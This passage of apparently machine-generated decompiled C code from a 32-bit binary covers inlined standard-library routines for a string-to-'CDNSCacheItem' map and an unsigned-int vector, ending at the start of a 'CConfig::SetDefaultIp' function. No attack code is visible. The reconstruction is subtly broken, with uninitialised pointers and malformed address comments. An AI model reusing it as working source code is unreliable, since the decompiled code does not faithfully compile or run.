std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_insert(v13, a2, NULL, v2, a3);
std__pair_lt_std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__bool_gt_(a1, v13, (char *)1);
// branch -> 0x80585a2
}
// 0x80585a2
return (int32_t)a1;
}
// 0x8058491
int32_t ** v14;
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___begin(v14, a2);
if (std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_eq__eq_((int32_t *)v9, (int32_t *)v14) != 0) {
// 0x80584c0
int32_t * v15;
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_insert(v15, a2, NULL, v2, a3);
std__pair_lt_std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__bool_gt_(a1, v15, (char *)1);
// branch -> 0x80585a2
// 0x80585a2
return (int32_t)a1;
}
// 0x8058502
std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator___133((int32_t *)v9);
// branch -> 0x8058511
// 0x8058511
v10 = std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(v12);
g98 = v10;
v11 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123((int32_t)v9);
if (std__less_lt_std__string_gt___operator_lb__rb_(a2, (int32_t *)v11) == 0) {
// 0x8058588
std__pair_lt_std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__bool_gt_(a1, (int32_t *)v9, (char *)g2);
// branch -> 0x80585a2
} else {
// 0x8058549
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_insert(v13, a2, NULL, v2, a3);
std__pair_lt_std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__bool_gt_(a1, v13, (char *)1);
// branch -> 0x80585a2
}
// 0x80585a2
return (int32_t)a1;
}
// Address range: 0x80585ac - 0x80587f5
int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert_unique_139(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
int32_t v1 = g98; // 0x80585af
int32_t v2 = (int32_t)a3; // 0x80585b3
g98 = v2;
int32_t v3 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_end(a2); // 0x80585bc
int32_t v4 = v3;
char v5 = 1;
if (g98 != v3) {
// 0x80585c8
g98 = v2;
int32_t v6 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_rightmost(a2); // 0x80585d1
int32_t v7 = *(int32_t *)v6; // 0x80585d9
v4 = v7;
v5 = g98 == v7;
// branch -> 0x80585e9
}
// 0x80585e9
if (((int32_t)v5 || v4 & -256) != 0) {
// 0x80585f4
char v8;
int32_t v9; // 0x80586585
if (std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___size(a2) == 0) {
// 0x8058654
v9 = 0;
v8 = 0;
// branch -> 0x8058658
} else {
// 0x8058606
int32_t v10;
g98 = std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(v10);
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_rightmost(a2);
int32_t * v11;
int32_t v12 = std__less_lt_std__string_gt___operator_lb__rb_(a2, (int32_t *)std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123((int32_t)v11)); // 0x805863f
int32_t v13 = v12 ^ 1; // 0x8058647
if (v12 != 1) {
// 0x8058654
v9 = v13;
v8 = 0;
// branch -> 0x8058658
} else {
v9 = v13;
v8 = 1;
}
}
// 0x8058658
if (((int32_t)v8 || v9 & -256) == 0) {
// 0x8058694
int32_t * v14;
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert_unique(v14, a2, a4);
*a1 = v14;
// branch -> 0x80587eb
} else {
int32_t v15 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_rightmost(a2); // 0x8058665
int32_t v16 = *(int32_t *)v15; // 0x805866d
int32_t * v17;
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_insert(v17, a2, &g2->e0, (int32_t *)v16, a4);
*a1 = v17;
// branch -> 0x80587eb
}
// 0x80587eb
g98 = v1;
return (int32_t)a1;
}
// 0x80586c2
std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator__(a3);
int32_t v18;
g98 = std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(v18);
int32_t v19 = std__less_lt_std__string_gt___operator_lb__rb_(a2, (int32_t *)std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123(v2)); // 0x8058703
char v20;
int32_t v21; // 0x8058757
if (v19 == 1) {
// 0x8058712
g98 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123(v2);
int32_t v22;
int32_t v23 = std__less_lt_std__string_gt___operator_lb__rb_(a2, (int32_t *)std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(v22)); // 0x805873e
int32_t v24 = v23 ^ 1; // 0x8058746
if (v23 != 1) {
// 0x8058753
v21 = v24;
v20 = 0;
// branch -> 0x8058757
} else {
v21 = v24;
v20 = 1;
}
} else {
// 0x8058753
v21 = v19 ^ 1;
v20 = 0;
// branch -> 0x8058757
}
// 0x8058757
if (((int32_t)v20 || v21 & -256) == 0) {
// 0x80587c2
int32_t * v25;
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert_unique(v25, a2, a4);
*a1 = v25;
// branch -> 0x80587eb
// 0x80587eb
g98 = v1;
return (int32_t)a1;
}
int32_t v26 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_right(a3); // 0x8058765
if (((int32_t)(v26 == 0) || v26 & -256) == 0) {
// 0x805879b
int32_t * v27;
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_insert(v27, a2, a3, a3, a4);
*a1 = v27;
// branch -> 0x80587eb
} else {
// 0x8058776
int32_t * v28;
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_insert(v28, a2, &g2->e0, a3, a4);
*a1 = v28;
// branch -> 0x80587eb
}
// 0x80587eb
g98 = v1;
return (int32_t)a1;
}
// Address range: 0x80587f6 - 0x8058825
int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert(int32_t ** a1, int32_t * a2, int32_t * a3, struct struct_3 * a4) {
int32_t v1 = g98; // 0x80587f9
g98 = (int32_t)a1;
int32_t * v2;
std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert_unique_139((int32_t **)v2, a2, a3, &a4->e0);
*(int32_t *)g98 = (int32_t)v2;
int32_t result = g98; // 0x805881c
g98 = v1;
return result;
}
// Address range: 0x8058826 - 0x805897b
int32_t std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___operator_lsb__rsb_(int32_t * a1, int32_t * a2) {
struct struct_3 * v1 = NULL; // bp-44
struct struct_3 * v2 = NULL; // bp-24
int32_t v3 = g98; // 0x8058829
int32_t ** v4;
std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___lower_bound(v4, a1, a2);
int32_t ** v5;
std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end(v5, a1);
int32_t v6 = std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_eq__eq_((int32_t *)v4, (int32_t *)v5); // 0x805886b
int32_t v7 = v6; // 0x80588bb1
char v8 = 1;
if (v6 == 0) {
// 0x8058877
g98 = std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_ptr_((int32_t *)v4);
int32_t v9;
std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___key_comp(v9, a1);
int32_t * v10;
int32_t v11 = std__less_lt_std__string_gt___operator_lb__rb_(v10, a2); // 0x80588a5
v7 = v11;
v8 = v11 != 0;
// branch -> 0x80588bb
}
// 0x80588bb
int32_t * v12; // 0x805896c2
if (((int32_t)v8 || v7 & -256) != 0) {
// 0x80588c6
CDNSCacheItem_117(&v2->e0);
std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__137(v1, (int32_t)a2, (int32_t)v2);
int32_t ** v13;
std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert(v13, a1, (int32_t *)v4, v1);
std__pair_lt_std__string_const_comma__CDNSCacheItem_gt_(v1);
CDNSCacheItem(v2);
v12 = (int32_t *)v13;
// branch -> 0x8058965
} else {
v12 = (int32_t *)v4;
}
// 0x8058965
g98 = v3;
return std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_ptr_(v12) + 4;
}
// Address range: 0x805897c - 0x80589b1
int32_t std____copy_lt_true_comma__std__random_access_iterator_tag_gt___copy_lt_unsigned_int_gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
int32_t v1 = (int32_t)a2 - (int32_t)a1; // 0x805898a
memmove(a3, a1, v1);
g95 = v1;
return v1 + (int32_t)a3;
}
// Address range: 0x80589b2 - 0x80589d1
void std____copy_aux_lt_unsigned_int__ptr__comma__unsigned_int__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x80589b2
std____copy_lt_true_comma__std__random_access_iterator_tag_gt___copy_lt_unsigned_int_gt_(a1, a2, a3);
}
// Address range: 0x80589d2 - 0x8058a3b
int32_t std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t * a1, int32_t * a2) {
int32_t result = (int32_t)a1;
int32_t * v1;
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(v1);
int32_t * v2;
int32_t v3 = (int32_t)v2; // 0x80589ed
int32_t * v4;
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(v4);
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(a2);
std____copy_aux_lt_unsigned_int__ptr__comma__unsigned_int__ptr__gt_(v2, (int32_t *)v3, (int32_t *)v3);
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_((int32_t *)result, (int32_t *)g95);
return result;
}
// Address range: 0x8058a3e - 0x8058a79
int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
int32_t v1 = g101; // 0x8058a41
g101 = (int32_t)a1;
int32_t * v2;
std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(v2, a2);
*(int32_t *)g101 = (int32_t)v2;
int32_t result = g101; // 0x8058a6e
g101 = v1;
return result;
}
// Address range: 0x8058a7a - 0x8058aad
int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
int32_t v1 = g101; // 0x8058a7d
g101 = (int32_t)a1;
int32_t ** v2;
std__copy_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(v2, a2, a3, a4);
*(int32_t *)g101 = (int32_t)v2;
int32_t result = g101; // 0x8058aa2
g101 = v1;
return result;
}
// Address range: 0x8058aae - 0x8058af1
int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
int32_t v1 = g101; // 0x8058ab1
g101 = (int32_t)a1;
int32_t ** v2;
std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(v2, a2, a3, a4);
*(int32_t *)g101 = (int32_t)v2;
int32_t result = g101; // 0x8058ae6
g101 = v1;
return result;
}
// Address range: 0x8058af2 - 0x8058b25
int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma__unsigned_int_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) {
int32_t v1 = g101; // 0x8058af5
g101 = (int32_t)a1;
int32_t ** v2;
std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(v2, a2, a3, a4);
*(int32_t *)g101 = (int32_t)v2;
int32_t result = g101; // 0x8058b1a
g101 = v1;
return result;
}
// Address range: 0x8058b26 - 0x8058e51
int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt____M_insert_aux(struct struct_12 * a1, int32_t * a2, int32_t ** a3) {
int32_t v1 = g101; // 0x8058b29
int32_t v2 = g98; // 0x8058b2a
int32_t * v3; // 0x8058e51_11
if (a1->e1 == a1->e2) {
struct struct_12 * v4 = (struct struct_12 *)std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___size((int32_t *)a1); // bp-20
std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___max_size();
int32_t * v5;
int32_t * v6;
std____throw_length_error("vector::_M_insert_aux", (int32_t)NULL, (int32_t)v6, (int32_t)v5);
struct struct_12 * v7 = NULL; // 0x8058c3e_0
struct struct_12 * v8 = (struct struct_12 *)1;
if (v4 != NULL) {
// 0x8058c24
v7 = v4;
v8 = (struct struct_12 *)(2 * (int32_t)v4);
// branch -> 0x8058c35
}
struct struct_12 * v9 = v8; // bp-16
struct struct_12 * v10 = v8; // 0x8058c5a_0
if (v8 < v7) {
// 0x8058c43
std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___max_size();
v9 = (struct struct_12 *)0x3fffffff;
v10 = (struct struct_12 *)0x3fffffff;
// branch -> 0x8058c54
}
// 0x8058c54
int32_t * v11;
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(v11, (int32_t *)std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt____M_allocate((int32_t *)a1, (int32_t *)v10));
int32_t v12;
std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___get_allocator(v12, (int32_t *)a1);
g98 = (int32_t)v11;
g101 = (int32_t)a2;
int32_t * v13;
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(v13, (int32_t *)a1);
int32_t ** v14;
std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma__unsigned_int_gt_(v14, v13, (int32_t *)g101, (int32_t *)g98);
std__allocator_lt_unsigned_int_gt_(v12);
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base((int32_t *)v14);
int32_t * v15;
__gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___construct((int32_t *)a1, v15);
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator__((int32_t *)v14);
int32_t v16;
std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___get_allocator(v16, (int32_t *)a1);
g98 = (int32_t)v14;
int32_t * v17;
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(v17, (int32_t *)((int32_t)a1 + 4));
int32_t ** v18;
std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma__unsigned_int_gt_(v18, a2, v17, (int32_t *)g98);
std__allocator_lt_unsigned_int_gt_(v16);
int32_t v19;
std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___get_allocator(v19, (int32_t *)a1);
int32_t * v20;
std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___end(v20, (int32_t *)a1);
int32_t * v21;
std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___begin(v21, (int32_t *)a1);
std___Destroy_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma__std__allocator_lt_unsigned_int_gt___gt_(v21);
std__allocator_lt_unsigned_int_gt_(v19);
int32_t * v22 = a1->e2; // 0x8058dd4
int32_t v23 = *(int32_t *)a1; // 0x8058ddc
int32_t v24 = *(int32_t *)a1; // 0x8058dec
std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt____M_deallocate((int32_t *)a1, (int32_t *)v24, (int32_t *)(((int32_t)v22 - v23) / 4));
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(v11);
a1->e0 = v15;
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base((int32_t *)v18);
a1->e1 = v15;
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(v11);
int32_t v25 = 4 * (int32_t)v9; // 0x8058e40
g95 = v25;
*(int32_t *)((int32_t)a1 + 8) = v25 + (int32_t)v15;
v3 = (int32_t *)a1;
// branch -> 0x8058e4b
} else {
// 0x8058b42
__gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___construct((int32_t *)a1, a1->e1);
a1->e1 = (int32_t *)((int32_t)a1->e1 + 4);
int32_t * v26 = a1->e1; // 0x8058b7c
int32_t * v27;
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(v27, (int32_t *)((int32_t)v26 - 4));
int32_t * v28 = a1->e1; // 0x8058b9b
int32_t * v29;
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_(v29, (int32_t *)((int32_t)v28 - 8));
int32_t ** v30;
std__copy_backward_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(v30, a2, v29, v27);
__gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___operator_ptr_(a2);
v3 = (int32_t *)*(int32_t *)a3;
// branch -> 0x8058e4b
}
// 0x8058e4b
g98 = v2;
g101 = v1;
return (int32_t)v3;
}
// Address range: 0x8058e52 - 0x8058ebf
int32_t std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___push_back(int32_t * a1, int32_t * a2) {
int32_t v1 = (int32_t)a1; // 0x8058e58
int32_t * v2 = (int32_t *)(v1 + 4); // 0x8058e5b_0
int32_t * v3; // 0x8058eb6_6
if (*v2 == *(int32_t *)(v1 + 8)) {
// 0x8058e92
int32_t * v4;
std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___end(v4, a1);
v3 = (int32_t *)std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt____M_insert_aux((struct struct_12 *)a1, v4, (int32_t **)a2);
// branch -> 0x8058ebe
} else {
// 0x8058e68
__gnu_cxx____mt_alloc_base_lt_unsigned_int_gt___construct(a1, (int32_t *)*v2);
int32_t v5 = *v2; // 0x8058e84
g95 = v5;
*v2 = v5 + 4;
v3 = a1;
// branch -> 0x8058ebe
}
// 0x8058ebe
return (int32_t)v3;
}
// Address range: 0x80593bc - 0x805941b
int32_t CConfig__SetDefaultIp(int32_t result, int32_t a2) {
// 0x80593bc
*(int32_t *)(result + 48) = a2;
int32_t * v1 = (int32_t *)(result + 52); // 0x80593cb_0
int32_t * v2;
int32_t * v3; // 0x80593f4_0
int32_t * v4; // 0x80593fe_0
int32_t * v5;
int32_t result2; // 0x80593fe
if (*v1 == 0) {
// 0x80593bc
v2 = (int32_t *)(result + 56);
// branch -> 0x80593dc
// 0x80593dc
